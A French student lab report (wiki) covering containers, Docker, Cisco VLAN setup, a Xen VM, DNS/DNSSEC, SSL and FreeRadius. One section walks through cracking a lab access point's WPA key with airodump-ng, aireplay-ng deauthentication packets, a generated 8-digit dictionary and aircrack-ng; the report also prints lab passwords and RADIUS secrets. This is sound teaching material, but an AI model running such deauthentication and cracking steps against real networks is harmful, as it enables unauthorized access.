Version actuelle datée du 19 décembre 2018 à 23:13

Sommaire

1 Présentation du Sujet
2 PARTIE 1 : TP GIS
- 2.1 Séance 1 : création de conteneurs "à la main" (12/11/2018)
- 2.2 Séance 2 : création de conteneurs "à la main" et avec Docker + mise en place du mandataire inverse (19/11/2018)
  - 2.2.1 Configuration des serveurs apaches
  - 2.2.2 Conteneurs via docker
3 PARTIE 2 : TP PrA

Présentation du Sujet

Le but de ce TP est de mettre en place un réseau redondant qui sera capable de faire face à certaines pannes. De plus, nous aurons l'occasion de manipuler les protocoles IPv6, une machine virtuelle et de mettre en place un réseau wifi et un site web sécurisé. Ceux ci nous permettront de tester la fiabilité des différents protocoles de sécurité tels que WEP, WPA ... En introduction de ce TP, nous avons eu l'occasion de manipuler les conteneurs logiciels au travers d'un TP GIS4.

PARTIE 1 : TP GIS

Séance 1 : création de conteneurs "à la main" (12/11/2018)

Dans cette séance nous devions créer des conteneurs "à la main". L'objectif étant de créer 3 conteneurs connectés entre eux via un commutateur virtuel. Un d'entre eux est également connecté au commutateur virtuel de la machine de TP étant sur bridge. Ce sera le mandataire inverse qui permettra de rediriger les flux vers les différentes machines.

Création des partitions

Dans un premier temps, nous avons créé 3 partitions qui seront utilisées par nos conteneurs afin d'avoir des systèmes de fichiers isolés. Pour cela, après s'être mis en mode root, nous avons utilisé les commandes suivantes:

 dd if=/dev/zero of=/disk1 bs=1024k count=1024 // Création du fichier "partition". L'argument bs (block size) définit une taille de partition de 1Go avec des blocks de données de 1Mo.
 mkfs /disk1                                   // Formatage de la partition.
 mkdir /tmp/fs1                                // Création de l'endroit où sera initialisé le file system.
 mount –o loop disk1 /tmp/fs1                  // Monte la partition sur ce système de fichiers.
 export http_proxy=http://proxy.polytech-lille.fr:3128 // Permet la prise en compte du proxy pour l'ajout des dépendances.

Et finalement, nous avons lancé Debootstrap qui installe un système Debian de base avec les dépendances spécifiées : debootstrap --include=apache2,vi stable /tmp/fs1. Cette commande prend un peu de temps (5 à 10 min). Une fois que debootstrap a terminé son exécution, il faut répéter l'opération deux fois afin d'obtenir 3 partitions : démonter disk1, le copier dans deux disques disk2 et disk3, créer les systèmes de fichiers fs2 et fs3 puis remonter les 3 disques sur leur système de fichier respectif.

Remarque: Nous avions dans un premier temps oublié d'exécuter la commande echo "proc /proc proc defaults 0 0" >> /tmp/fs1/etc/fstab permettant la préparation du montage du pseudo système de fichier /proc. Cela entraînait une erreur lors de la création des conteneurs.

Commutateur et interfaces virtuels

La création du commutateur virtuel se fait via la commande suivante:

ip link add commutateurTP type bridge

Création des interfaces virtuelles:

Une fois le commutateur créé, il nous a fallu créer et ajouter des interfaces virtuelles sur ce commutateur. Ces interfaces permettent de connecter les conteneurs. Nous les avons nommées vif pour virtual interface. Vif 1, Vif 2 et Vif3 seront liés à eth0 et vif 4 sera lié à eth1 pour le mandataire inverse.

 ip link add vif1 type veth peer name eth0@vif1 // Exemple de création de l'interface vif 1.
 ip link set vif1 master commutateurTP          // Ajout de l'interface dans le commutateur.
 ip link set vif1 up                            // Active l'interface.

Création des conteneurs

On commence par la création d'un processus isolé à l'aide de la commande unshare. Cette commande permet de séparer les espaces de noms indiqués du processus parent puis exécuter le programme indiqué:

unshare -p -f -m -n -u chroot tmp/fs1 /bin/sh -c "mount /proc ; /bin/bash" ;

Les arguments -n et -u assurent un réseau indépendant. Ce que l'on peut vérifier au sein du conteneur à l'aide de la commande ip l
L'argument -m permet d'isoler l'espace de noms de montage.
L'argument -p permet d'isoler l'espace de noms PID ce que l'on peut vérifier avec la commande psaux
L'argument -f permet Engendrer le programme indiqué comme un processus fils d’unshare plutôt que de l’exécuter directement.

Déplacement des pairs dans un espace réseau différent:

Il faut ensuit lier les conteneurs à notre commutateur virtuel. Un des 3 conteneurs sera également lié au bridge de la machine :

 ps aux | grep unshare                                             // Récupération des différents PID.
 ip link set eth0@vif1 netns /proc/<PID_Récupéré>/ns/net name eth0 // Lie l'interface virtuelle 1 à notre commutateur virtuel.
 ip link set eth1@vif4 netns /proc/<PID_Récupéré>/ns/net name eth1 // Lie l'interface virtuelle 1 au bridge de la Zabeth, faisant de notre vif1 le mandataire inverse.

Configuration réseau dans l’espace alternatif :

On a ensuite ajouté à chaque conteneur une adresse ip. Celles-ci nous permettront d'établir la communication. Pour cela nous sommes allés directement au sein du conteneur et nous avons ajouté l'adresse 192.168.60.41/24 (Adresse choisie arbitrairement de la forme 192.168.60.<n°groupe><n°conteneur>).

Ceci s'effectue à l'aide de la commande ip addr add 192.168.60.41/24. Cependant, pour l'interface eth1, nous avons mis l'adresse 172.26.14.44/24.

Il faut également activer les interfaces à l'aide de la commande ip link set eth0 up.

Remarque : Dans le mandataire inverse on ajoute la route par défaut via la commande route add default via 172.26.145.254 dev eth1.

Séance 2 : création de conteneurs "à la main" et avec Docker + mise en place du mandataire inverse (19/11/2018)

Nous avons dû dans un premier temps refaire ce que nous avions fait lors de la séance précédente. Cependant, nous n'arrivions pas à ping les différents conteneurs car nous avions oublié deux commandes :

 ifup lo                      // Activation de la boucle locale sur le conteneur
 ip link set commutateurTP up // Activation du commutateur virtuel sur la machine

Configuration des serveurs apaches

Création des noms de domaine:

Nous avons dans un premier temps créé 3 noms de domaine (1 pour le mandataire inverse et 2 pour les deux autres conteneurs). Pour cela nous nous sommes rendus sur l'hébergeur Gandi à l'aide des identifiants qui nous étaient fournis. Dans la rubrique domaine nous avons ajouté une configuration DNS dans le domaine plil.space:

Type : A pour le mandataire inverse -> Permet de relier un nom de domaine à l'adresse IP d'un serveur et Cname pour les autres conteneurs.
TTL : Nous avons laissé la valeur par défaut qui était de 1800 secondes.
Name : mandataireribunt pour le mandataire inverse et ribunt1,2 pour les 2 conteneurs.
Adresse ipV4 (pour le mandataire inverse) : 172.26.145.111
Nom d'hôte (pour les deux autres noms de domaine) : mandataireribunt.

Création du fichier de configuration apache2:

Sur le mandataire inverse :

On active les modules proxy avec la commande a2enmod proxy proxy_http:

Le module proxy permet l'implémentation d'un serveur mandataire/passerelle
Le module proxy_http apporte le support des requêtes HTTP et HTTPS au module proxy

Dans le fichier par défaut du dossier sites-available on ajoute les lignes suivantes

 ProxyPass /ribunt1 http://192.168.60.42/
 ProxyPass /ribunt2 http://192.168.60.43/
 ProxyPassReverse /ribunt1 http://192.168.60.42/
 ProxyPassReverse /ribunt2 http://192.168.60.43/
 ProxtRequest Off

On modifie alors la première page d'apparence des sites dans les dossiers /var/www/html/ des deux conteneurs hébergeant les sites.
On doit enfin relancer le serveur Apache2 pour prendre en compte les modifications à l'aide de la commande service apache2 restart

10h40 => serveurs Web unshare OK

Conteneurs via docker

Nous avons dans un premier temps vérifié que Docker était bien installé sur notre machine. Nous avons alors pu lancer notre premier conteneur avec une image de base debian grâce à la commande:

 docker run -it debian /bin/bash

Le conteneur ainsi créé est isolé du réseau. Dans l'état initial, il nous était impossible d'installer Apache et les différents modules souhaités. Pour résoudre ce problème:

 * Sortir du conteneur
 * Ouvrir le fichier /dev/default/.docker
 * Commenter la ligne avec les IP tables
 * iptables-save
 * service docker restart               // Relance Docker
 * docker run -it debian /bin/bash      // Démarre et entre dans le conteneur

Une fois ce problème réglé nous avons pu lancer un apt-get update et un apt-get install Apache2,nano, vim, après avoir exporté le proxy comme précédemment avec la commande export http_proxy=http://proxy.polytech-lille.fr:3128.

Sauvegarde de l'image du conteneur modifié:

 docker ps                                          //Pour trouver l'ID du conteneur
 docker commit 7097317ae643 poloporto/testDebian:v1 //Commit du conteneur d'ID 7097317ae643, version 1

Création du network:

Pour cela il faut d'abord quitter le conteneur. Ensuite on crée un network à l'aide de la commande docker network create <nomduNetwork>. Dans notre cas nous l'avons appelé netpra. On peut ensuite relancer le conteneur avec l'option --network:

 docker run --name mandatairedocker -p 80:80 -i --network netpra -t poloporto/testdebian:v1 /bin/bash

Nous avons également lancé deux autres conteneurs qui permettront d'héberger les deux sites sur des serveurs Apache2 via :

 docker run --name mandatairedocker -i --network netpra -t poloporto/testdebian:v1 /bin/bash

Ces conteneurs n'ayant pas besoin d'être exposés sur la machine physique car ils sont accédés via le mandataire inverse.

Configuration d'Apache sur le mandataire inverse:

De la même manière, on configure le fichier de configuration Apache. A la création des conteneurs, une adresse ip est initialisée par défaut par docker, il suffit donc de la trouver via la commande ip a puis de les renseigner comme précédemment:

ProxyPass /dockerribunt1 http://172.23.0.3/
ProxyPass /dockerribunt2 http://172.23.0.4/
ProxyPassReverse /dockerribunt1 http://172.23.0.3/
ProxyPassReverse /dockerribunt2 http://172.23.0.4/
ProxyRequests Off

De même que précédemment, nous devons créer les nom de domaines correspondants sur Gandhi

remarque: Nous avions oublié de refaire la commande a2enmod proxy proxy_http

10h30 Serveurs Web (docker) OK

PARTIE 2 : TP PrA

Séance 3 : Découverte du sujet et répartition des tâches (26/11/2018)

Mise en place du plan de connexion

L'objectif principal est de mettre en place un réseau sécurisé avancé, pouvant pallier aux risques éventuels de pannes sur les commutateurs ou routeurs. Étant donné qu'il n'y a qu'un serveur de virtualisation, aucune panne n'est possible sur celui-ci.

Le travail étant conséquent, nous avons reparti le travail sur l'ensemble de la classe. Notre tâche personnelle consiste à configurer les commutateurs, c'est à dire déclarer les VLANs pour que les différents éléments puissent communiquer entre eux.

Il y aura donc sur nos commutateurs :

Un vlan pour la connexion au réseau de l'école associé à un seul port du commutateur. (vlan 131)
Un vlan pour le serveur de virtualisation associé à un seul port du commutateur. (vlan 43)
Un vlan par groupe.

La liaison vers les deux routeurs ainsi que les points d'accès se fera elle avec des vlans en mode trunk afin de pouvoir laisser passer les paquets des différents vlans tout en conservant cette information grâce à l'encapsulation dot1q qui va ajouter une information sur le vlan, puis, lorsque le paquet sera transmis au commutateur suivant, va retirer cette information une fois le paquet dans le bon vlan.

De plus, pour pouvoir tester le bon fonctionnement du réseau, nous allons relier un port du commutateur à chaque vlan de groupe soit 11 vlans supplémentaires. (vlan de 11 à 21)

L'architecture finale du réseau au niveau des commutateurs peut donc être résumée schématiquement comme ceci :

Configuration du premier commutateur

Maintenant que nous avons réfléchi à la manière d'agencer nos vlans, nous allons donc passer à la configuration de nos commutateurs. Pour ceci nous nous sommes connectés directement sur le commutateur à l'aide d'un cable série <-> USB :

minicom -o -D /dev/ttyUSB0 -b 9600

-o : Saute le code d'initialisation : pratique si l'on souhaite redémarrer facilement une session.
-D : Choisir le périphérique sur lequel se connecter.
-b : Choisir le baudrate.

E306 : commutateur Catalyst 6000 :

Nous avons regardé dans un premier temps les VLANs déjà présents à l'aide de la commande vlan show. Nous avons donc vu qu'un VLAN XEN était déjà en place, le VLAN 8.

Pour créer un VLAN (exemple du VLAN d’interconnexion) :

config terminal
vlan 131
name interco
exit

Remarque : Ne pas oublier la commande write afin de sauvegarder la configuration, et ne pas avoir à tout refaire la séance prochaine.

Ensuite, il faut relier les VLANs créés aux ports que nous allons utiliser. Pour voir les ports, leur utilisation et leur nom nous avons utilisé la commande

sh int status

Nous avons ainsi décidé de commencer au port 4. Pour assigner le port 4 connecté au routeur 1 en mode trunk :

Switch_E306#configure terminal
Switch_E306(config)# interface gi4/4
Switch_E306(config-if)# switchport
Switch_E306(config-if)# switchport mode trunk
Switch_E306(config-if)# no shut

Il n'y a pas besoin de préciser le protocole dot1q car le commutateur ne connait que ce protocole. La commande switchport trunk encapsulation dot1q n'est donc pas nécessaire.

Exemple pour la configuration du port 15 relié au réseau de l'école, et au VLAN interconnect (131):

Switch_E306#configure terminal
Switch_E306(config)# interface gi4/15
Switch_E306(config-if)# switchport
Switch_E306(config-if)# switchport mode access
Switch_E306(config-if)# switchport access vlan 131
Switch_E306(config-if)# no shut

Pour verifier que tout est bien configurer on lance, une fois fini, la commande show runing-config

Voici le résumé de notre configuration pour le commutateur catalyst 6000 :

Séance 4 : fin de la configuration des commutateurs et création de notre machine virtuelle (27/11/2018)

Configuration du second commutateur

Au début de la séance, nous devions attendre que la seconde baie soit installée. Pendant ce temps, nous avons donc vérifié que notre configuration de la veille était encore en place. Puis, nous avons attribué un port à chaque groupe, avec les VLAN correspondants. Nous avons fait cela car les ports disponibles étaient nombreux et cela permettra aux différents groupes de réaliser des tests en liaison filaire direct.

Configuration du commutateur 4006 :

Les différents VLANs et ports configurés sont les mêmes que sur le commutateur précédent :

VLAN 11 à 21 : VLANS associés au ports 21 à 31 pour les groupes.
VLAN 131 : VLAN d'interconnexion connecté au port 15.
VLAN 43 : VLAN d'interconnexion connecté au port 17.

En plus de cela, nous avons configuré les ports 4 à 13 en mode trunk pour le routeur Catalyst 3560. Connecter 10 cables permet d'avoir une vitesse accrue.

Sur ce commutateur, le protocole dot1q n'est pas le seul protocole connu. Il était donc obligatoire de le préciser :

configure terminal
    interface fa4/10
        switchport
        switchport trunk encapsulation dot1q
        switchport mode trunk
        no shut
        exit
    exit
write

Voici le résumé de notre configuration pour le commutateur 4006 :

Création de la machine virtuelle

Nous devons créer la machine virtuelle sur le dom0 de corduan.insecserv.deule.net, nous nous sommes donc tout d'abord connecté en ssh via la commande :

ssh root@corduan.insecserv.deule.net // Avec les identifiants habituels.

Puis nous avons lancé la création de la machine virtuelle via :

xen-create-image --hostname=Hades --ip=193.48.57.180 --gateway=193.48.57.160 --netmask=255.255.255.224 --dir=/usr/local/xen --force

Une fois la création de la machine virtuelle terminée, nous avons pu retrouver le fichier de configuration de notre machine virtuelle dans /etc/xen/Hades.cfg et avons dû ajouter "bridge=IMA5sc" dans le vif.

Puis, nous avons pu lancer notre machine virtuelle grâce à :

xen create Hades.cfg

Enfin, pour entrer en mode console dans notre machine virtuelle :

xl console Hades

Pour quitter la console, nous devons utiliser les touches "ctrl + alt gr + parenthère droite".

Enfin, nous pouvons éteindre notre machine virtuelle :

xl shutdown Hades

En re-créant notre VM nous nous sommes rendus compte que nous n'avions pas d'accès au réseau. Pour arranger cela, nous avons tapé la commande suivante qui ajoute la route par défaut vers le eth0:

ip route add default via 193.48.57.190 dev eth0 onlink

Nous arrivons désormais à Pinger google depuis notre machine virtuel mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier sshd_config présent dans etc/ssh/ et dé-commenté la ligne

PermitRootLogin yes

Séance 5 : sécurisation du site web + crack WPA (10/12/2018)

Configuration DNS

Nous nous sommes premièrement rendu sur Gandi afin d'acheter un nom de domaine. Les nom "hades" les moins chers n'étant plus disponibles, nous avons acheté le nom de domaine "hadess.space".

Nous avons installé bind9 et d'autres outils utils via :

apt install bind9 bind9-host dnsutils

Nous avons modifié le fichier /etc/bind/named.conf.local afin d'ajouter la zone correspondant à notre site hadess.space :

zone "hadess.space" {
	type master;
	file "/etc/bind/db.hadess.space";

	allow-transfer {217.70.177.40;};  //autorise le transfert vers ns6.gandi.net
};

Puis, nous avons créé le fichier de résolution de zone dans /etc/bind/db.hadess.space :

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns.hadess.space. root.hadess.space (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800         ; Negative Cache TTL
)
        IN      NS      ns.hadess.space.
        IN      NS      ns6.gandi.net.
@       IN      A       193.48.57.180
ns      IN      A       193.48.57.180
www     IN      A       193.48.57.180

IN : signifie que la zone qui suit est destinée à internet.
SOA (star of authority) : spécifie le serveur de nom faisant autorité. C'est à dire, notre DNS principal.
ns.hadess.space : dns principal de notre domaine.
Serial : numéro de série à incrémenter lors de chaque modification de notre fichier.
Refresh : délai après lequel le serveur esclave va entre en communication avec le maître (exprimé en secondes).
Retry : si le serveur maître n'est pas trouvé, une nouvelle tentative est effectuée après le délai retry (en secondes).
Expire : temps (en secondes) d'expiration du serveur principal en cas de non réponse.
TTL : durée (en secondes) pendant laquelle les informations de zones sont valides et peuvent être mises en cache.

Nous avons alors redémarré le service bind :

service bind9 restart

Nous devons ensuite faire des modifications sur Gandi afin de renseigner nos DNS. Nous avons alors ajouté dans les "Glues records", le DNS de notre machine virtuelle.

nameServer : "ns.hadess.space"
IP : 193.48.57.180

Et nous avons ensuite pu modifier nos serveurs DNS dans les "Serveurs de noms" de Gandi en remplaçant le premier serveur de nom par "ns.hadess.space". Nous avons également supprimé les deux autres serveurs de noms assignés par défaut pour le remplacer par "ns6.gandi.net" qui est renseigné dans nos fichier de configuration de bind9.

Il faut ensuite attendre un certain temps afin que notre adresse DNS se propage sur les serveurs mondiaux. On peut observer cette propagation sur un site comme https://dnschecker.org/ :

Sécurisation du site web

Nous avons installé un serveur Apache via la commande

apt install apache2

Celui ci est alors bien fonctionnel est accessible sur 193.48.57.180

Cependant, nous allons ajouter quelques améliorations au niveau de la sécurité de ce site

certificat SSL

Nous allons premièrement ajouter un certificat SSL via Gandi afin d'avoir accès à notre site via https. Pour cela, nous nous rendons sur le compte et dans l'onglet "certificat SSL". Nous allons pour cela, devoir générer une paire de clés numériques. La première est une clé privée qui est installée sur le serveur du site. Elle va permettre de déchiffrer les données envoyées par la clé publique. La clé publique, aussi appellée CSR (certificate signing request) est installée sur le site et est transmise sans restriction. Elle permet de crypter les données échangées avec le serveur du site et contient des informations telles que le nom de l'organisation, le nom de domaine, la localisation ...

Pour générer ces clés, nous avons donc utilisé openssl via la commande :

openssl req -nodes -newkey rsa:2048 -sha1 -keyout hadess.space.key -out hadess.space.csr

Il faut alors entrer une liste d'informations qui se trouveront dans la clé CSR ainsi qu'un mot de passe :

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]: Haut de france
Locality Name (eg, city) []: Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]: Polytech
Organizational Unit Name (eg, section) []: IMA
Common Name (e.g. server FQDN or YOUR name) []: hadess.space
Email Address []: cohesao@hadess.space

La clé privée se trouve alors dans hadess.space.key et la clé publique dans hadess.space.csr.

Nous avons alors dû entrer notre clé CSR sur le site Gandi afin que celui ci nous permette de télécharger un fichier texte à rendre disponible sur notre site via HTTP à l'adresse : http://hadess.space/.well-known/pki-validation/AE44A94511831BC7085DC97B261F11EE.txt afin que l'opération soit validée. Nous avons donc crée les dossier .well-known et pki-validation dans le répertoire /var/www/html de notre VM afin d'y placer le fichier .txt de vérification et avons dû attendre un certain moment que les changements soient effectués.

Une fois le fichier vérifié par Gandi, nous pouvons donc télécharger le certificat SSL sur le site. Puis, nous plaçons les 3 fichiers suivants dans nos dossiers /etc/ssl/private (pour la clé privée) et /etc/ssl/certs (pour les clés publiques).

GandiStandardSSLCA2.pem
hadess.space.crt
hadess.space.key

Puis, nous créons un fichier /etc/apache2/sites-available/hadess.space-ssl.conf dans lequel nous inscrivons :

<VirtualHost *:80>                                                                                                         
  ServerName www.pegase.space                                                                                             
  Redirect / https://www.pegase.space                                                                                  
</VirtualHost>

<VirtualHost _default_:443>                                                                                                
   ServerName www.pegase.space                                                                                             
   DocumentRoot /var/www/html                                                                                              
   SSLEngine On                                                                                                            
   SSLCertificateFile /etc/ssl/certs/pegase.space.crt                                                                
   SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
   SSLCertificateKeyFile /etc/ssl/private/pegase.space.key                                         
   SSLVerifyClient None                                                                                                 
</VirtualHost>

La première configuration s'assure que l'utilisateur se connecte toujours en https via le redirect tandis que la deuxième configuration est utilisée pour la connexion en https.

Enfin, on active le module ssl, on active notre configuration ssl puis on redémarre les services apache :

a2enmod ssl
a2ensite hadess.space-ssl.conf
service apache2 restart

On peut alors se connecter à notre site en https : https://www.hadess.space/

DNSSEC

Pour sécuriser notre DNS, nous avons tout d'abord ajouté la ligne :

dnssec-enable yes;

dans le fichier /etc/bind/named.conf.options.

Puis, nous créons le répertoire hadess.space.dnssec pour y générer les clés. Dans ce répertoire, nous lançons donc la commande :

dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE hadess.space

Pour générer la clef asymétrique de signature de clefs de zone. (l'option -r /dev/urandom est utilisée pour accélérer la génération sur un système de test). Puis, nous utilisons la commande :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hadess.space

Nous avons alors renommé nos clefs en :

hadess.space-ksk.key
hadess.space-ksk.private
hadess.space-zsk.key
hadess.space-zsk.private

On inclu alors nos clefs en les ajoutant au début du fichier de zone /etc/bind/db.hadess.space :

$include /etc/bind/hadess.space.dnssec/hadess.space-ksk.key
$include /etc/bind/hadess.space.dnssec/hadess.space-zsk.key

On se rend alors dans le répertoire hadess.space.dnssec et on lance la commande :

dnssec-signzone -o hadess.space -k hadess.space-ksk ../db.hadess.space hadess.space-zsk

Cela va alors signer nos enregistrements de la zone. Nous n'avons donc plus qu'à modifier le fichier named.conf.local pour utiliser le fichier de zone signé :

file "/etc/bind/db.hadess.space.signed";

On se rend alors dans le registrar Gandi dans l'onglet "nom de domaine" puis en modifiant l'option DNSSEC afin d'ajouter nos clés publiques hadess.space-ksk.key et hadess.space-zsk.key en choisissant l'algorithme RSA/SHA1 comme précédemment.

Enfin, on relance le service bind :

service bind9 restart

On regarde enfin le bon fonctionnement de notre DNSSEC avec le site http://dnsviz.net/ . Celui ci nous confirme que notre dnssec fonctionne correctement malgrè quelques problèmes rencontrés dû à un non raffraichissement des fichiers de configuration de bind. Nous avons donc dû supprimer le serveur de nom ns6.gandi.net sur gandi puis le réenregistrer pour bien prendre en compte nos modifications sur les fichiers de configurations et donc activer correctement le dnssec.

Création des volumes

Dans un premier temps nous avons créé plusieurs volumes pour faire en sorte que les répertoires /home et /var de notre machine virtuelle soient sur des partitions de l'hôte Cordouan. Voici les différentes commandes que nous avons utilisées pour cela (sur Cordouan) :

# lv create -L10G -n hades-var virtual     //Création d'un volume logique de 10G pour le dossier var dans le groupe de volume virtual
# lv create -L10G -n hades-home virtal     //Pour le volume home

Puis nous ajoutons sur le fichier de configuration de notre machine virtuelle Hades.cfg, les lignes :

'phy:/dev/virtual/hades-home,xvdb1,w', 
'phy:/dev/virtual/hades-var,xvdb2,w'

au niveau de disk device(s). Cela permet de lier les volumes logiques créés précédemment avec des volumes physiques xvdb1 et xvdb2.

Puis, on relance la VM à l'aide d'un "shutdown" afin de prendre en compte ces modifications.

repertoire home

On va lier notre répertoire home au disque hades-home. Cette manipulation n'est pas très complexe car le répertoire home est vide. Pour cela, on modifie le fichier /etc/fstab en ajoutant les lignes :

/dev/xvdb1 /home ext4 defaults 0 2

Puis, on monte tous les systèmes de fichier via la commande :

mount -a

repertoire var

Le répertoire var n'étant pas vide, l'opération est un peu plus délicate. On doit tout d'abord monter /mnt sur notre volume /dev/xvdb2 temporairement :

mount /dev/xvdb2 /mnt

Puis copier le contenu actuel de var sur le répertoire /mnt qui est actuellement monté sur xvdb2

mv /var/* /mnt

Puis on modifie le fichier /etc/fstab pour déterminer le montage permanent à effectuer. On ajoute alors la ligne :

/dev/xvdb2 /var ext4 defaults 0 2

Enfin, on applique les montages :

mount -a

Crack de clé WPA

Pendant qu'un de nous s'occupait de la partie DNS, l'autre s'est intéressé au craquage de la clé WPA des points d'accès. Pour ceci nous avons ciblé le point d'accès cracotte04. Les manipulations, noms d'interfaces, correspondent à l'un de nos ordinateurs personnels.

airmon-ng

Pour pouvoir craquer la clé, il faut une carte sans fil qui peut se mettre en mode moniteur, c'est à dire écouter tout le trafic d'un réseau sans fil. Dans le cas de notre ordinateur l'interface était nommée wlan0. Pour le mettre en mode moniteur on utilise la commande

airmon-ng start wlan0

On vérifie que cela a fonctionné avec l'affichage "mode moniteur activé". La nouvelle interface s'appelle wlan0mon.

airodump-ng wlan0mon

Avec cette commande, cela va répertorier tous les réseaux sans fil dans le secteur, et pleins d'informations utiles à leur sujet. On a donc localisé le réseau que l'on veut craqué: cracotte04. Pour arrêter le processus on appuie sur CTRL-C et on note les informations utiles : bssid et canal.

airodump-ng -c 9 –-bssid 04:DA:D2:9C:50:53 -w /root/Desktop/ wlan0mon

-c permet de préciser le canal
--bssid permet de préciser le bssid du réseau cible récupéré précédemment
-w permet de préciser l'emplacement où sera enregistré le paquet capturé

Cela nous mène à cette fenêtre :

Cette commande capture les paquets qui transitent. Cela va collecter les données afin de trouver le Handshake qui sera utilisé pour la suite. Airodump attend qu’un périphérique se connecte ou se reconnecte au réseau, ce qui oblige le routeur à envoyer la poignée de main à quatre voies que nous devons capturer afin de déchiffrer le mot de passe. En pratique, nous avons utilisé un autre outil qui appartient à la suite aircrack appelé aireplay-ng, pour accélérer le processus. Au lieu d’attendre qu’un périphérique se connecte, on force un periphérique à se reconnecter en envoyant des paquets de désauthentification (deauth) au périphérique, lui faisant croire qu’il doit se reconnecter au routeur. Pour que cela marche il faut que quelqu'un d'autre soir connecté au réseau, on surveille cela sur l'airodump-ng.

aireplay-ng –0 2 –a 04:DA:D2:9C:50:53  –c [client bssid] mon0

-0 précise la death et 2 le nombre de paquet envoyés.
-a indique le bssid du point d’accès cible.
-c indique les clients BSSID (listé sous "station" dans l'airodump-ng).

Une fois le handshake récupéré, on a 4 fichiers à l'endroit spécifié dans la commande. A partir de maintenant le mot de passe est quelque part entre l'ordinateur et ces fichiers, nous n'avons plus besoin de la connexion.

Création de la bibliothèque

Pour que aircrack puisse trouver le mot de passe, il doit parcourir un dictionnaire dans lequel on trouve les différentes possibilités. Nous savons dans le cadre de ce TP que le mot de passe est composé uniquement de 8 chiffres. Nous avons donc, à l'aide d'un programme C basique, à générer un fichier texte contenant ces possibilités.

#include <stdio.h>
#include <stdlib.h>

int main()
{
	int i=0;
	FILE *fp;
	fp = fopen("dictionary.txt","w");
	for(i=0;i<100000000;i++)
	{
		fprintf(fp,"%08d\n", i);
	}
	fclose(fp);
	return 0;
}

aircrack-ng -a2 -b 04:DA:D2:9C:50:53  -w /root/Desktop/Dictionnary.txt /root/Desktop/*.cap

- a est la méthode utilisée par Aircrack pour casser la poignée de main, 2 = méthode WPA.
- w est le chemin vers le dictionnaire.

Il suffit juste d'attendre que la commande trouve le mot de passe. Ce processus prend plusieurs heures. C'est pour cela que nous le laissons tourner sur la Zabeth. En revenant le lendemain, nous avons donc pu récupérer le mot de passe :

Séance 6 (17/12/2018)

Configuration du Serveur FreeRadius

RADIUS (Remote Authentication Dial-In User Service) est un programme permettant entre autres d'authentifier un utilisateur distant, suivant de multiples modes plus ou moins sécurisés, en s'appuyant sur une base de connaissances allant du simple fichier texte à l'annuaire LDAP, en passant par une base de données de type SQL. Le but ici est de sécuriser différents accès tels que les ports du commutateurs ou l'accès à la borne Wifi.

Dans un premier temps nous installons FreeRadius sur notre machine virtuelle:

apt-get install freeradius

Ensuite, on edite le fichier /etc/freeradius/3.0/users afin d'ajouter un utilisateur et un mot de passe associé. On ajoute la ligne suivante:

hades Cleartext-Password := "fouglop"

Nous devons configurer FreeRadius en PEAP-MSCHAPv2. Dans le fichier /etc/freeradius/mods-enabled/eap.conf

default_eap_type = peap

et vérifier que

peap {
       #  The tunneled EAP session needs a default
       #  EAP type, which is separate from the one for
       #  the non-tunneled EAP module.  Inside of the
       #  PEAP tunnel, we recommend using MS-CHAPv2,
       #  as that is the default type supported by
       #  Windows clients.
       default_eap_type = mschapv2
     }

On modifie aussi le fichier /etc/freeradius/mods-enabled/mschap et on enlève les commentaires devant les lignes suivantes:

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

Puis, on ajoute les deux clients ip correspondants aux deux points d'accès mis en place. Dans le fichier /etc/freeradius/3.0/clients.conf:

client 192.168.0.10/32 
{
 secret = secretIMA5SC
 shortname = borneHades1
}

et

client 192.168.0.11/32 
{
 secret = secretIMA5SC
 shortname = borneHades2
}

Pour finir, on met à jour la configuration à l'aide de la commande

ldconfig

Sur la borne wifi, on configure :

enable

conf t
aaa new-model
aaa group server radius radius_group14
server 193.48.57.180 auth-port 1812 acct-port 1813
radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secretIMA5SC
exit
aaa authentication login eap_group14 group radius_group14
end

conf t
dot11 ssid Hades
vlan 14
authentication open eap eap_group14
authentication network-eap eap_group14
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hades
encryption vlan 14 mode ciphers aes-ccm tkip

conf t
int dot11radio0.11
encapsulation dot1Q 14
end

conf t
int dot11radio0.11
encapsulation dot1q 14
bridge-group 14
end

On lance alors freeradius en mode debug :

freeradius -X

Et on voit alors qu'en nous connectant avec notre téléphone à notre point d'accès "Hades" avec les identifiant configuré précédemment :

identifiant : "hades"
mot de passe : "fouglop"

Notre téléphone accède au point d'accès comme le prouve la capture d'écran des logs Freeradius mais n'aura jamais accès aux adresses IP du point d'accès. Le serveur freeradius est donc fonctionnel mais une autre partie du matériel n'était pas encore fonctionnelle.

Sécurisation de données avec RAID 5

Pour utiliser le RAID5, nous allons installer mdadm :

apt-get install mdadm

Nous allons ensuite créer 3 partitions LVM de 1Go sur Cordouan avec des noms liés à notre VM :

lvcreate -L 1G -n /dev/virtual/hadesRaid1 -v
lvcreate -L 1G -n /dev/virtual/hadesRaid2 -v
lvcreate -L 1G -n /dev/virtual/hadesRaid3 -v

On modifie alors le fichier de configuration de notre machine afin d'ajouter les partitions précédentes à notre machine virtuelle.

'phy:/dev/virtual/hadesRaid1,xvdc1,w',
'phy:/dev/virtual/hadesRaid2,xvdc2,w',
'phy:/dev/virtual/hadesRaid3,xvdc3,w'

On relance enfin notre VM :

xl shutdown Hades
xen create Hades.cfg

et on crée un RAID5 logiciel à l'aide des 3 partitions obtenues :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID5 créé et on le monte sur notre VM:

mkfs -t ext4 /dev/md0
mount /dev/md0 /mnt

